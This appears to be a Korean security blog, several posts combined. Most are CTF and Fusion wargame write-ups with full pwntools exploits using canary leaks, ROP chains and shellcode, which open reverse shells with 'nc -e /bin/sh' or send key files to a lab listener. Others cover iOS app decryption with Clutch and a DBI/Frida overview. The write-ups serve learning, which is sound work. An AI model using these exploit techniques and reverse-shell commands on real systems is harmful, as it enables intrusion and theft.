포스팅하면서 코드 색깔 입히는 게 귀찮았는데 (몇몇 좋은 js 모듈이나 온라인 highligher 사이트가 있지만 편집하기가 생각보다 불편...)

터미널에서 쉽게 코드에 색을 입히는 프로그램을 찾아서 정리해 둔다. 

여러개 있는것 같지만 두가지만 정리.

highlight

$ brew install highlight

Pygments

$ pip install Pygments

$ pygmentize -g dbi.py

별칭 등록

hyunmini:frida $ alias

alias ccat='highlight -O ansi'

alias pcat='pygmentize -g'

끝~

육아 때문에 최근 공부를 거의 못하고 있으나...pwnable 만은 놓지 않기 위해 시간날때마다 조금씩이라도 풀어보려 노력중이다. ㅠ 

babypwn 은 Codegate 2017 prequal 에 출제 되었던 문제이다. 문제 환경도 잘 모르겠고 세팅하기 귀찮으니 

대충 있는 리눅스 가상머신에 올려서 풀었다.

babypwn

babypwn.py

babypwn

>>> print e.checksec()

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX enabled

PIE:      No PIE

stack canary 와 NX 가 걸려있다. fork() 를 해주기 때문에 aslr 은 큰 의미는 없다. canary 역시 fork() 때문에 재실행 전까지는 동일하다.

이런 유형의 문제는 보통 leak 가 가능하도록 되어있으므로 확인해 보자.

일단 0x8048907() 함수 내부에서 recv 로 입력값을 받는데, v2 버퍼는 0x28(40) byte 밖에 안되는데 0x64(100) 을 입력받고 있다.

그로인해 60바이트만큼 오버플로우가 발생한다.

하지만 버퍼 바로 아래에 canary 가 있어서 리턴 직전 확인하고 있으므로 (ssp 보호기법) 먼저 canary 를 leak 해야 한다. 

canary 와 버퍼가 붙어있으므로 AAAA|canary 요렇게 빈틈없이 채워주면 message 를 출력해줄때 canary 까지 같이 출력하게 할 수 있다.

# leak.py

#!/usr/bin/python
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[*] codegate 2017 babypwn exploit by hyunmini"

e = ELF('./babypwn')
rop = ROP(e)

log.info("stage 0 : leak canary")
r = remote("192.168.231.128",8181)
print r.recvuntil('menu > ')
r.send('1\n')
print r.recv(1024)
r.send('a'*41)
print hexdump(r.recv(1024))

hyunmini:codegate2017 $ python babypwn.py 

[*] codegate 2017 babypwn exploit by hyunmini

[*] Loaded cached gadgets for './babypwn'

[*] stage 0 : leak canary

[+] Opening connection to 192.168.231.128 on port 8181: Done

▒▒▒▒▒▒▒C▒O▒D▒E▒G▒A▒T▒E▒2▒0▒1▒7▒▒▒▒▒▒▒

▒▒▒▒▒▒▒B▒A▒B▒Y▒P▒W▒N▒!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

▒▒▒▒▒▒▒G▒O▒O▒D▒L▒U▒C▒K▒~▒!▒▒▒▒▒▒▒▒▒▒▒

===============================

1. Echo

2. Reverse Echo

3. Exit

===============================

Select menu > 

Input Your Message : 

00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│

*

00000020  61 61 61 61  61 61 61 61  61 75 16 35  f4 ff 75 b7  │aaaa│aaaa│au·5│··u·│

00000030

[*] Closed connection to 192.168.231.128 port 8181

붉게 표시된 부분이 leak 된 canary 값이다.  40 바이트만 찍어도 나와야 하는데 41바이트 찍어야 나오는 걸로 봐서 

canary 첫번째 바이트는 0x00 임을 알 수 있다.

즉, 0x35167500 일 것이다.(little endian 이니)

이제 전체적인 rop exploit 을 구성해서 공격하면 된다.

간단하게 recv 함수로 bss 영역에 인자값을 입력받고, system 함수의 인자값으로 사용할 것이다.

pwntools 쓰면 요렇게 두줄로 간단하게 할 수 있다.

조금 살펴보니 pwntools 가 아래처럼 입력하면 알아서 ppr, pppr 넣어주고, plt 에 해당 함수 있으면 plt 호출, 

없으면 srop 를 해준다. srop 도 안되면 에러를 내뿜는다.

rop.recv(0x4,e.bss(),len(cmd)+1,0x0)
rop.system(e.bss())

아래는 전체 코드이다.

babypwn

#!/usr/bin/python
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[*] codegate 2017 babypwn exploit by hyunmini"

e = ELF('./babypwn')
rop = ROP(e)

log.info("stage 0 : leak canary")
r = remote("192.168.231.128",8181)
print r.recvuntil('menu > ')
r.send('1\n')
print r.recv(1024)
r.send('a'*41)
recv_buf = r.recv(1024)[41:44]
print hexdump(recv_buf)
canary = u32('\x00' + recv_buf)
log.info("found canary : 0x%x" % canary)

cmd = "nc.traditional -e /bin/sh 192.168.231.1 7777"
#cmd = "cat flag | nc 192.168.231.1 7777"
rop.recv(0x4,e.bss(),len(cmd)+1,0x0)
rop.system(e.bss())

payload = 'A'*40 + p32(canary) + 'B'*12 + rop.chain() + '\n'

log.info("stage 1 : eip control")

p = remote("192.168.231.128",8181)

print p.recvuntil('menu > ')
p.send('1\n')

print p.recvuntil('Message : ')
p.send(payload + '\n')

print p.recvuntil('menu > ')

p.send('3\n')
p.send(cmd)

# ./babypwn.py

=============================================

hyunmini:codegate2017 $ nc -lv 7777

ls

babypwn

cd ..

LEVEL03

level03 이다. 적용된 기법은 아래와 같이 NX 정도이다.

>>> print e.checksec()

RELRO:    No RELRO

Stack:    No canary found

NX:       NX enabled

PIE:      No PIE

RPATH:    '/opt/fusion/lib'

FORTIFY:  Enabled

소스코드를 보면 아래와 같이 토큰을 하나 생성해서 보내고, 입력값을 받는데 이때 토큰값을 검증한다. 그 후에 입력된 주소로 해당 내용을 전송해 준다. 

입력값을 받을 때 한가지 특징으로 한번 입력 후 곧바로 close(0,1,2) 를 해주고 있어서 write(4, leak주소, 4) 이런 식의 payload 사용은 어려움. 소켓이 닫혀버리니까

또 한가지 특징으로 입력값 검증을 하는데, 첫번째로 token 이 가장 앞에 있는지 확인한다.

두번째로 해쉬값을 비교하여 처음 두 바이트가 0x00 인지 확인한다. 

검증이 끝난 후 json 형식을 파싱해주는 과정에서 취약점이 발생하는데, 해당 부분은 아래 코드이다. 

결론부터 말하면 while 구문 내부의 조건식이 

1) src 가 널바이트가 아니고

           &&

2) dest 가 end 랑 다르면

이기 때문이다. 즉 둘중 하나의 조건만 만족하지 않으면 계속 복사를 하게 된다는 뜻이다. 

소스를 보면 "\\u" 가 있으면 dest 를 case '\\' 문에서 한번 증가시키고, 'u' 에서 또 증가시키면서

dest 와 end 가 계속 달라지게 된다. 이로 인해 src 가 널바이트가 될 때까지 계속 복사를 하게 되고

실질적으로 strcpy 처럼 스택을 덮어쓰게 된다.  

먼저 validate 함수를 우회하기 위하여 공격 payload 에 임의의 숫자값을 for 문으로 돌려서 0x00, 0x00 이 나오는 해쉬값을 찾도록 해준다.

def find_collision(token, payload):
	i = 0
	while 1:	
		json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC)
		tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest()
		if tmp_hmac[0:2] == "\x00"*2:
			log.success("found collision request : %s" % json_req)
			return json_req
			break
		i += 1

다음은 eip 변조 테스트.

buf = "A"*127 + "\\\\ua" + "A"*34 + "BBBB"   # 34 + eip

req_col = find_collision(token, buf)

r.send(req_col)

gdb$ 
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0x41414141  ECX: 0xB7562398  EDX: 0xFFFFFFFF  o d I t S z a P c 
  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFDAB66C  EIP: 0x08049E08
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFDAB66C]------------------------------------------------------[stack]
0xBFDAB6BC : 10 00 00 00 F4 0F 56 B7 - 55 BC 41 B7 19 A2 04 08 ......V.U.A.....
0xBFDAB6AC : 02 00 4E 23 00 00 00 00 - 00 00 00 00 00 00 00 00 ..N#............
0xBFDAB69C : 02 00 FF C4 C0 A8 E7 01 - 00 00 00 00 00 00 00 00 ................
0xBFDAB68C : 0B 90 04 08 0D 00 00 00 - 01 00 00 00 FF FF FF FF ................
0xBFDAB67C : 00 00 00 00 04 00 00 00 - 98 B6 DA BF 02 00 00 00 ................
0xBFDAB66C : 42 42 42 42 04 00 00 00 - 00 00 00 00 02 00 00 00 BBBB............
--------------------------------------------------------------------------[code]
=> 0x8049e08 <handle_request+264>:	ret    
   0x8049e09 <handle_request+265>:	lea    esi,[esi+eiz*1+0x0]
   0x8049e10 <handle_request+272>:	mov    DWORD PTR [esp+0x4ac],0x80
   0x8049e1b <handle_request+283>:	mov    DWORD PTR [esp],ebx
   0x8049e1e <handle_request+286>:	call   0x8048da0 <json_object_get_string@plt>
   0x8049e23 <handle_request+291>:	lea    edx,[esp+0x4ac]
   0x8049e2a <handle_request+298>:	mov    DWORD PTR [esp+0x8],edx
   0x8049e2e <handle_request+302>:	lea    edx,[esp+0x42c]
--------------------------------------------------------------------------------
0x08049e08 in handle_request () at level03/level03.c:193
193	in level03/level03.c
gdb$ 
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0x41414141  ECX: 0xB7562398  EDX: 0xFFFFFFFF  o d I t S z a P c 
  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFDAB670  EIP: 0x42424242
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x42424242
0x42424242 in ?? ()

정확하게 0x42424242 로 변조가 되는 것을 확인했다. 이제 ROP 를 하면 되는데.. 널바이트가 들어가면 안되기 때문에 pwntools 를

이용한 rop 는 조금 제약이 있었다. 

여러번 삽질 후 세운 payload 는 아래와 같다.

1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)

2) memcpy 로 bss 에 system 인자값 쓰기

    memcpy(bss+4,gContents,4)        // gContents = 0x804bdf4 => 0x900e5c8 (이중포인터)

3) srand plt(system) 호출

    srand@plt(bss+8)    // reverse nc command

은 실패했다. 

실패한 이유는 gContents 가 이중포인터라 실패.. mov 로 값을 꺼내주려고 하니 마땅한 가젯이 없음.. 

아래와 같이 leave ret 를 이용한 fake ebp 를 이용하여 공격에 성공했다. stack frame 을 bss 에 다시 구성해주고,

leave 명령을 이용하여 ebp 를 bss 로 변경해준다. 그리고 system 함수로 return 하여 reverse connection 실행!

1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)

2) memcpy 로 bss 에 srand@plt, command 쓰기

    memcpy(bss, srand@plt,4)             

    memcpy(bss+8, gContents, len(cmd))    

3) leave 를 이용하여 fake ebp

    ebp 를 미리 조작하고, leave 명령을 이용하여 esp 를 변경, 미리 복사한 bss 영역으로 stack frame 변조

4) srand plt(system) 호출

    srand@plt(bss+8)    // reverse nc command

아래는 전체 exploit 코드이다. pwntools 를 쓰기 위해 노력했으나(pwntools 연습중이니..) 이번 문제의 경우 수작업 rop

가 필요하여 생각보다 활용도가 낮았다. 다만 e.bss(), e.plt[], e.got[], e.symbols[] 등은 유용했다.

#!/usr/bin/python
import hmac
import hashlib
import json
from pwn import *

context(arch='i386',os='linux')

r = remote("192.168.231.128",20003)
e = ELF('../bin/level03')
rop = ROP(e)

s = ssh(host="192.168.231.128",user="fusion",port=22,password="godmode"

REVERSE_NC = "nc.traditional -e /bin/sh 192.168.231.1 7777"

def find_collision(token, payload):
	i = 0
	while 1:	
		json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC)
		tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest()
		if tmp_hmac[0:2] == "\x00"*2:
			log.success("found collision request : %s" % json_req)
			return json_req
			break
		i += 1

log.info("fusion level03 exploit by hyunmini")
token = r.recv(1024).strip().strip('"')
log.info("get token : %s" % token)

# exploit condition 
#  eip control breakpoint : 0x8049e04 <handle_request+260>:
#  control reg : ebx, esi, edi, ebp 

buf = "A"*127 + "\\\\ua" + "A"*34   # 34 + eip

# srand got =+ system offset (0x9b60)    => srand@plt = system()
rop = p32(0x08049b4f) 	  # pop eax ; add esp, 0x5c ; ret // eax = 0x9b60
rop += '\\\u609b\\\u0000'
rop += "A"*0x5c
rop += p32(0x08049a4f)    # pop ebx ; ret  // ebx 
rop += p32(e.got['srand'] - 0x5d5b04c4 & 0xffffffff)
rop += p32(0x080493fe)    # add dword ptr [ebx + 0x5d5b04c4], eax ; ret)

# memcpy(bss+4, srand@plt, 4)
rop += p32(e.plt['memcpy'])
rop += p32(0x8049205)     # pppr
rop += p32(e.bss())
rop += p32(e.got['srand'])
rop += '\\\u0400\\\u0000'

# memcpy(bss+8, gContents, len(cmd))
rop += p32(e.plt['memcpy'])
rop += p32(0x8049205)     # pppr
rop += p32(e.bss(8))
rop += p32(e.symbols['gContents'])
rop += '\\\u0400\\\u0000'

# fake ebp 
rop += p32(0x8049205)     # pppr
rop += p32(e.bss()-4) * 3
rop += p32(0x8049431)     # leave, ret

payload = buf + rop
req_col = find_collision(token, payload)

r.send(req_col)

# ./ex3_exploit.py     // exploit 성공

hyunmini:solve $ nc -lv 7777

id

uid=20003 gid=20003 groups=20003

uname -a

Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux

오랫만에 ios 앱 해킹을 다시 하려다 보니 가물가물해서 간단히 다시 정리하기로 했다. 

복호화 - Clutch 

(https://github.com/KJCracks/Clutch/releases)

# wget  https://github.com/KJCracks/Clutch/releases/download/2.0.4/Clutch-2.0.4

# chmod 755 ./Clutch-2.0.4

# Clutch -i

Installed apps:

1:   *알리미 <com.*******.smartcaremgr>

2:   Find My iPhone <com.apple.mobileme.fmip1>

3:   Google Authenticator <com.google.Authenticator>

4:   Chrome - web browser by Google <com.google.chrome.ios>

5:   Hangouts <com.google.hangouts>

6:   Google Drive - free online storage <com.google.Drive>

7:   신한S뱅크 <com.shinhan.sbank>

8:   Google Sheets <com.google.Sheets>

# Clutch -b 1

ASLR slide: 0x3a000

Dumping <NotificationService> (armv7)

Patched cryptid (32bit segment)

ASLR slide: 0x8d000

Dumping <NotificationContent> (armv7)

Patched cryptid (32bit segment)

Writing new checksum

Writing new checksum

ASLR slide: 0x19000

Dumping <SMail> (armv7)

Patched cryptid (32bit segment)

Writing new checksum

Finished dumping com.shinhan.smartcaremgr to /var/tmp/clutch/59213352-****-4411-****-1A8D42C57BC5

Finished dumping com.shinhan.smartcaremgr in 2.6 seconds

Clutch 업데이트가 중단된걸로 알았었는데 2.0.4 버전이 작년에 나왔다. -i 로 목록을 본 후 -b 로 번호만 지정해주면 끝.

LEVEL02

level02 는 NX, ASLR 이 걸려있으며, 기본적인 난독화 및 수학 관련 문제라는 힌트가 주어진다.

NX 때문에 쉘코드를 직접 실행하기는 어려우며, ROP 를 이용해야 한다. 단순히 개인적인 정리용도의 풀이이므로 ROP 등을 정리하지는 않는다.

한줄로 설명하면 고전적인 RTL 기법을 발전시켜서 연속적인 Gadget (Ret 로 끝나는 코드 조각) 들을 실행시키는 기법이다. 최근 문제는 대부분 ROP 가 기본으로 들어가는 경우가 많다.

취약점 확인 

취약한 부분은 encrypt_file() 내부에서 발생하며, 정확한 지점은 고정된 buffer 에 동적으로 입력값 길이를 정해서 입력받는 아래 부분이다.

nread(0, buffer, sz);

간단히 확인해보면 crash 가 발생하는 것을 확인할 수 있다. 

$ python -c "print 'E'+'\x14\x00\x02\x00'+'A'*0x20010+'B'*4+'Q'" | nc 192.168.231.128 20002

root@fusion:/opt/fusion/bin# dmesg | tail -2

[54915.235279] level02[7797]: segfault at c754dba ip 0c754dba sp bf9d99b0 error 14

[54927.307910] level02[7805]: segfault at 7ab5e3fe ip 7ab5e3fe sp bf9d99b0 error 14







문제는 입력받은 버퍼를 바로 아랫줄에서 cipher(buffer, sz) 와 같이 암호화 하고 있다는 것이나, 함수를 살펴보면 간단하게 XOR 연산을 해주는 것임을 알 수 있다.
key 값이 랜덤이지만, XOR 연산이기 때문에 0 과 XOR 연산을 수행하도록 해서 key 를 확인할 수 있다. 키 버퍼는 128 byte (XORSZ=32, *4) 이다. 첫번째 접속해서 128 바이트만큼 0을 입력해서 값을 받아오고, 키 버퍼를 받아온 후에 두번째 실제 payload 를 xor 해서 보내면 정상값이 들어갈 것이다.


root@fusion:/opt/fusion/bin# dmesg | tail -1
[55235.606684] level02[7847]: segfault at 42424242 ip 42424242 sp bf9d99b0 error 1



이제 간단히 ROP 를 수행하면 된다. 아래는 전체 Exploit 코드이다.

#!/usr/bin/python
from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level01 exploit by hyunmini"
r = remote("192.168.231.128",20002)
e = ELF('./level02')
rop = ROP(e)
print r.recvuntil('--]\n')
op_start = "E"
op_size = "\x80\x00\x00\x00"
op_end = "Q"
payload = "\x00" * 0x80
print "[+] stage 0 : recv xor_key"
r.send(op_start + op_size + payload )
print r.recvuntil('--]\n')
print "eeee"
sleep(0.2)
bufcount = r.recvuntil('\x80\x00\x00\x00')
print "[+] buf count : %d" % u32(bufcount)
xor_buf = r.recv(128)
print hexdump(xor_buf)
def xor(buf, key):
    result = ''
    for i, enc in enumerate(buf):
        result += chr(ord(enc)^ord(key[i % len(key)]))
    print "encoding (%d:%d) bytes" % (len(buf), len(result))
    return result
#-------------------------------------------#
print "[+] sending rop payload..."
payload2 = "A"*0x20010 
# rop chain
cmd = "/bin/sh\x00"
rop.read(0,e.bss(),len(cmd))
rop.execve(e.bss(),0,0) 
ropchain = rop.chain()
payload2 += ropchain 
payload2 = xor(payload2, xor_buf)
op_size = p32(len(payload2))
r.send(op_start)
r.send(op_size)
r.send(payload2)
r.send(op_end)
r.send(cmd)
print "[*] finish !!"
r.interactive()

LEVEL01

level01 은 level00 과 동일한 소스코드이지만 버퍼 주소를 출력해주지 않는다. 취약점 발생지점은 동일하므로 긴 설명이 필요없고,

동일한 공격방식이되 버퍼 주소값을 모를 때 어떻게 해야 하는가를 묻는 문제이다. 

주소를 몰라도 바로 뒤로 점프하는 "trampoline techniques" 으로 불리는 jmp esp 등의 코드를 이용하면 된다.

[그림] 취약 함수

gdb-peda$ b *0x8049854                                    // 취약함수 ret 주소

gdb-peda$ set follow-fork-mode child                // gdb fork() 자식 프로세스 디버깅

gdb-peda$ x/4i $eip-6                      
   0x804984e :	call   0x80489a0 
   0x8049853 :	leave  
=> 0x8049854 :	ret    
   0x8049855 :	push   ebp

gdb-peda$ x/12x $esp       // ret 직전의 스택, payload 가 정상적으로 입력된 것 확인
0xbffff32c:	0x08049f4f	0x16eb9090	0x00000000	0x00000004
0xbffff33c:	0x001761e4	0x001761e4	0x000027d8	0x20544547
0xbffff34c:	0x41414141	0x41414141	0x41414141	0x41414141

gdb-peda$ x/i 0x8049f4f     //  ret 실행 시  jmp esp 주소로 점프 ( ret = pop eip = ret 시점의 esp 주소)
   0x8049f4f:	jmp    esp

gdb-peda$ x/4i 0xbffff32c+4      //  jmp esp 후에 실행될 코드
   0xbffff330:	nop
   0xbffff331:	nop
   0xbffff332:	jmp    0xbffff34a
   0xbffff334:	add    BYTE PTR [eax],al

gdb-peda$ x/4i 0xbffff34a       //  short jump 후 실행될 쉘코드 확인
   0xbffff34a:	push   esp
   0xbffff34b:	and    BYTE PTR [ecx+0x41],al
   0xbffff34e:	inc    ecx
   0xbffff34f:	inc    ecx

익스플로잇 코드

# ex_level01.py

from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level00 exploit by hyunmini"

r = remote("192.168.231.128",20001)
e = ELF('./level01')
rop = ROP(e)

shellcode = asm(shellcraft.dupsh(4))
jmp_esp = p32(e.search(asm("jmp esp")).next())
jmp = "\x90\x90\xeb\x16"
nop = "\x90"*60
payload = "GET " + "A"*139 + jmp_esp + jmp +" HTTP/1.1 " + nop + shellcode
r.send(payload)
print " [+] Success!! got shell"
r.interactive()

Pwntools

CTF 문제 풀이용 Framework 인 pwntools(pwnlib) 를 그동안 제대로 활용하지 못하고 있었는데(접속과 쉘코드 정도만 사용), 다양한 기능 연습 겸 최대한 pwntools 를 써가며 이전 pwnable 문제들을 풀어보기로 했다.

angry_doraemon  (Codegate 2014, pwn 250 문제)

□ description
==========================================
OS : Ubuntu 13.10 x86
IP : 58.229.183.18 / TCP 8888
http://58.229.183.26/files/angry_doraemon_c927b1681064f78612ce78f6b93c14d9
==========================================
□ number of solvers : 57
□ breakthrough by
1 : More Smoked Leet Chicken (02/23 06:16)
2 : ppp (02/23 06:22)
3 : stratumauhuur (02/23 06:28)

실행시켜보면 도라에몽과 싸우는 텍스트 게임이다.

바이너리 보호기법 확인

먼저 바이너리에 적용된 보호기법을 살펴보자.  checksec 스크립트 대신 아래와 같이 한줄로 대신할 수 있다.

#> python -c 'from pwn import *;ELF("./angry_doraemon")'

쓰고보니 이게 더 귀찮네..-.-;

Stack Canary (SSP 보호기법) 가 적용되어 있으며, NX 도 적용되어 있는 것을 볼 수 있다. 물론 Ubuntu 13.10 이므로 ASLR 적용

적용된 보호기법을 확인했으니 취약점이 발생하는 부분을 찾아 보도록 하자.

취약점 분석

IDA로 살펴보면 아래와 같이 4번 메뉴 입력값을 받을 때 read() 함수에서 할당된 버퍼보다 더 큰 수만큼 읽어오기 때문에 bof 취약점이 밟생하는 것을 확인할 수 있다.

 buf 변수는 4바이트밖에 안되는데 110 바이트를 입력받고 있다. 기초적인 bof 문제같지만 SSP 보호기법 때문에 stack canary 가 존재한다. 스택에 stack canary 가 존재하며, 이를 검사하여 다른 값으로 덮어씌워졌을 경우 bof 로 판단하여 조작된 리턴주소로 점프하지 않고 에러를 내뱉는다. 윈도우 계열에서는 SEH Overwrite 를 이용하여 우회가 가능한 보호기법인데, linux 의 경우 SEH 가 존재하지 않으므로 다른 방법으로 우회해야 한다. 

풀리라고 만든 문제인 만큼 대부분 바이너리에서 어떤 방법으로든 우회가 가능하게 구성이 되어있다. 이 바이너리의 경우에는 바로 아래쪽에 있는 sprintf 함수를 이용하면 우회가 가능하다. buf 를 출력해 주고 있는데, sprintf 함수는 널바이트를 문자열의 끝으로 인식하므로 canary 까지 널바이트가 없도록 쓰레기값으로 채워주면 canary 까지 출력이 된다.

 |    buf    |  .....        | canary |

  abcd\x0                             

sprintf(buf) => abcd 

==================================================

 |    buf    | .....         | canary |

  aaaaaaaaaaaaaaa| canary |    

sprintf(buf) => aaaaaaaaaacanary     

간단하게 코드를 작성하여 보면 예상대로 canary 값을 얻을 수 있다. 이 값은 fork() 로 인해 변하지 않으므로 한번 확인한 값을 계속 사용하면 된다. fork() 는 부모 프로세스 메모리 주소를 그대로 받아서 사용하므로 바이너리가 재 실행 되기 전까지는 변하지 않는다.

# leak.py

#!/usr/bin/python
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[+] angry_doraemon exploit by hyunmini"
SIP = '192.168.182.202'
SPORT = 8888

e = ELF('./angry_doraemon')

# leak canary
print '\n\n\n ### leak canary...\n\n\n'
r = remote(SIP, SPORT)
print r.recvuntil('>')
r.send('4')
print r.recvuntil(' ')
sleep(0.1)
r.send('y'*11)
data = r.recvuntil('!!')
print hexdump(data)
canary = u32('\x00'+data[0x27:0x2a])
print '[+] leaked canary : 0x%x' % canary

canary 를 출력하기 위해서 10 byte 를 채워주면 되지만 실제로 y*10 을 하면 canary 값이 전송되지 않는 것으로 보아 첫번째 canary byte 는 '\x00' 임을 알 수 있다.

이제 canary 값을 구했으니 일반적인 ROP Exploit 을 작성하면 된다. 

# pwn_rop.py

#!/usr/bin/python
import time
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[+] angry_doraemon exploit by hyunmini"

SIP = '192.168.182.202'
SPORT = 8888

e = ELF('./angry_doraemon')
rop = ROP(e)
rop2 = ROP(e)
offset = 0x8bd80 # write - system
bss = e.bss() # writable addr

# leak canary
print '\n\n\n ### leak canary...\n\n\n'
r = remote(SIP, SPORT)
print r.recvuntil('>')
r.send('4')
print r.recvuntil(' ')
sleep(0.1)
r.send('y'*11)
data = r.recvuntil('!!')
print hexdump(data)
canary = u32('\x00'+data[0x27:0x2a])
print '[+] leaked canary : 0x%x' % canary

# Stage 1 : leak Exploit
print '\n\n\n ### Stage 1 : leak write addr... \n\n\n'
r2 = remote(SIP ,SPORT)
print r2.recvuntil('>')
r2.send('4')
print r2.recvuntil(' ')
sleep(0.1)
#payload_rop = p32(write_plt) + p32(pppr) + p32(0x4) + p32(write_got) + p32(0x4)
rop.write(0x4, e.got['write'], 0x4)
payload = 'y'*10 + p32(canary) + "a"*12 + rop.chain()
r2.send(payload)
sleep(1)
data2 = r2.recv(2048)
write = r2.recv(2048)
print hexdump(write)
print '[+] leaked write addr : 0x%x' % u32(write)
system = u32(write) - offset
print '[+] system addr : 0x%x' % system
e.symbols['system'] = system 

# Stage 2 : ROP Exploit
print '\n\n\n ### Stage 2 : ROP Exploit \n\n\n'
cmd = "cat key | nc 192.168.182.129 7777\x00"
r3 = remote(SIP ,SPORT)
print r3.recvuntil('>')
r3.send('4')
print r3.recvuntil(' ')
sleep(0.1)
#payload_rop = p32(read_plt) + p32(pppr) + p32(0x4) + p32(bss) + p32(len(cmd)) + p32(system) + "AAAA" + p32(bss)
rop2.read(0x4, bss, len(cmd))
rop2.system(bss)
payload = 'y'*10 + p32(canary) + "a"*12 + rop2.chain()
r3.send(payload)
sleep(1)
r3.send(cmd)
print r3.recv(1024)

기존에는 아래와 같이 p32 만 사용했었는데, 이번에 ROP 모듈을 살펴보니 훨씬 쉽게 작성이 가능했다.

payload_rop = p32(write_plt) + p32(pppr) + p32(0x4) + p32(write_got) + p32(0x4)

rop.write(0x4, e.got['write'], 0x4)
rop.chain()

nc 로 열고 exploit 을 실행하면 키값을 읽어오는 것을 확인할 수 있다.

끄읏

DBI

Dynamic Binary Instrumentation - 동적 바이너리 조사

 printf("test %s", buf); 등과 같이 특정 시점에서의 변수값 등을 확인하거나 프로그램의 행위를 조사하는 일을 Instrumentation 라고 부른다. 소스 코드 수준에서 하는 행위를 SI (Source Instrumentation), 바이너리 수준에서 하는 행위를 BI 라 한다. BI 중에서도 바이너리 실행중에 조사하는 것을 DBI 라 부른다. 조금 더 구체적으로 설명하면, 바이너리가 어떤 함수들을 호출하는지, 또 인자값은 무엇인지 등을 조사하는 것이라 보면 될 것 같다. 예를 들어, 악성코드 분석을 할때 각종 모니터링 툴들을 켜고 악성코드를 실행하여 행위를 분석하는 것 또한 동적 바이너리 조사의 일종이라고 볼 수 있다.

DBI 구현

 DBI 를 구현하는 방법에는 디버거 스크립트를 이용하는 방법, 후킹을 이용하는 방법, 코드 캐쉬와 CPU 가상화를 이용한 에뮬레이팅 등이 있다. 먼저 디버거를 이용하는 경우에는 디버거 스크립트와 조건부 브레이크포인트, 로그기능 등을 이용할 수 있다. 후킹을 이용하는 경우 주요 함수들( 네트워크 관련 함수들, File I/O 함수들, 문자열 처리 함수 등)에 후킹을 설정한 뒤 함수 후킹 시 인자값 등을 기록하거나 변조하는 행위들을 할 수 있다. 마지막으로 에뮬레이팅을 이용한 방법은 코드를 읽어서 가상 CPU 로 실행시키는 방법이다. 이전의 두가지 방법과는 다르게 투명성이 보장된다. 디버거, 후킹의 경우 이미 많이 알려져 있고 프로세스의 코드를 직접 변경하기 때문에 보호기법에 의해 쉽게 발견될 수 있다. 하지만 에뮬레이팅의 경우 코드를 복사해서 해석한뒤 실행하므로 일반적인 탐지기법들을 우회할 수 있다. 

DBI 로 할 수 있는 것들

• Flow Analysis

• Reversing Automation

• Malware Analysis

• Taint Analysis

• Binary Visualization (ex: VERA)

• Vulnerability(Exploit) Analysis

이외에도 기타 상상할 수 있는 다양한 자동 분석들이 가능하다. DBI 를 이용해서 안티디버깅 코드를 탐지하는 논문도 보았고, unpacking automation 논문도 본 적이 있다. 최근에는 DBI 를 Tracer 로 사용해서 로그를 남기고 그 정보들을 활용하여 Symbolic Execution, SMT Solver 등과 연계하여 취약점을 자동으로 찾거나(AEG, Automatic Exploit Generation) CTF 문제 등을 자동으로 풀어주는 등 Advanced 한 주제들도 지속적으로 연구되고 있다. 관심이 있다면 Triton, Angr 등의 Framework 를 살펴보면 된다. 

DBI Framework

 PIN & PINTOOL

intel 에서 관리하는 DBI 프레임워크로 기업이 관리하는 특성상 유지보수가 매우 잘 되고 있으며 다양한 플랫폼을 지원한다. 단점은 Intel 아키텍쳐(intel cpu)만 지원한다는 점과 C++ 로 작성해야 해서 매번 컴파일 하는 것이 조금 번거롭다는 것이다. 코드를 해석해서 가상 CPU 에서 실행시킨다. 실제로 원본 파일은 실행조차 되지 않는다. 때문에 투명성이 보장되지만 속도 이슈가 있다. 

(참고) http://hyunmini.tistory.com/87  

 FRIDA

FRIDA 는 scriptable 한 DBI 프레임워크로, http://www.frida.re 에서 무료로 다운로드 및 설치가 가능하다.(심지어 오픈소스이다. 근데 vala 라는 특이한 프로그래밍 언어로 작성되어 있다. 신기함...) FRIDA 는 기타 DBI 프레임워크와 약간 다른 구조를 가지고 있는데, DBI 를 위한 주 조작은 자바스크립트를 통해서 하며, C/S 구조로 동작하게 된다. 즉 처음에 바이너리에 프레임워크 라이브러리를 인젝션하여 파이프를 만들어 놓고, 그 파이프를 통해서 명령을 주고 받으면서 바이너리 조사를 할 수 있도록 되어 있다. 물론 C/S 를 사용하지 않고 그냥 PIN 처럼 내부적으로 동작하도록 할 수도 있다. 여러가지 언어를 이용하여 스크립트를 작성할 수 있으나(바이너리 조작은 자바스크립트로 해야 한다) Python 이 가장 단순하고 좋은 듯 하다. 하지만 제작자는 발표 등을 할 때 node.js 를 많이 사용하는 모습을 보여주고 있다. FRIDA 의 가장 큰 장점은 다양한 플랫폼을 지원한다는 것이다. PIN 과는 달리 ARM 아키텍쳐를 지원하므로 Android, IOS 앱에도 적용이 가능하다. 또한 64 bit 에서도 정상적으로 동작한다.(awesome!!)

